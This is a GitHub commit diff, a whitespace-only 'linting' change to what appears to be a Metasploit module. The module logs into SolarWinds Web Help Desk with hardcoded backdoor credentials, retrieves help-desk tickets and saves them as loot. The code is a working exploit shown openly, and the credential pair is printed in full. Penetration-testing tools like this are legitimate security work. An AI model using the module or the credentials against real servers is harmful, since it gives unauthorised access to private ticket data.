Skip to content

Commit e80c66d

Browse files
committed
linting
1 parent ac711e3 commit e80c66d

File tree

1 file changed

+14
-14
lines changed

1 file changed

+14
-14
lines changed

modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ def auth
6262
'method' => 'GET',
6363
'uri' => normalize_uri(target_uri.path, 'helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets'),
6464
'headers' => {
65-
'Authorization' => 'Basic ' + Rex::Text.encode_base64('helpdeskIntegrationUser:dev-C4F8025E7')
65+
'Authorization' => 'Basic ' + Rex::Text.encode_base64('helpdeskIntegrationUser:dev-C4F8025E7')
6666
}
6767
)
6868
res
@@ -75,26 +75,26 @@ def run
7575
body = @auth.body
7676
fail_with(Failure::UnexpectedReply, 'Unexpected Reply: ' + @auth.to_s) unless body.include?('shortSubject')
7777

78-
report_service(
79-
host: rhost,
80-
port: rport,
81-
proto: 'tcp',
82-
name: 'SolarWinds Web Help Desk'
83-
)
78+
report_service(
79+
host: rhost,
80+
port: rport,
81+
proto: 'tcp',
82+
name: 'SolarWinds Web Help Desk'
83+
)
8484

8585
jbody = JSON.parse(body)
8686
print_good('Successfully authenticated and tickets retrieved. The first 1000 characters are displayed below:')
8787
print_good(JSON.pretty_generate(jbody).slice(0, 1000))
8888

8989
file = store_loot('solarwinds_webhelpdesk.json', 'text/json', datastore['USER'], jbody)
9090
print_good("Saved tickets to #{file}")
91-
91+
9292
report_vuln(
93-
host: rhost,
94-
port: rport,
95-
name: name,
96-
refs: references,
97-
info: 'The backdoor helpdeskIntegrationUser:dev-C4F8025E7 works.'
98-
)
93+
host: rhost,
94+
port: rport,
95+
name: name,
96+
refs: references,
97+
info: 'The backdoor helpdeskIntegrationUser:dev-C4F8025E7 works.'
98+
)
9999
end
100100
end

0 commit comments

Comments
 (0)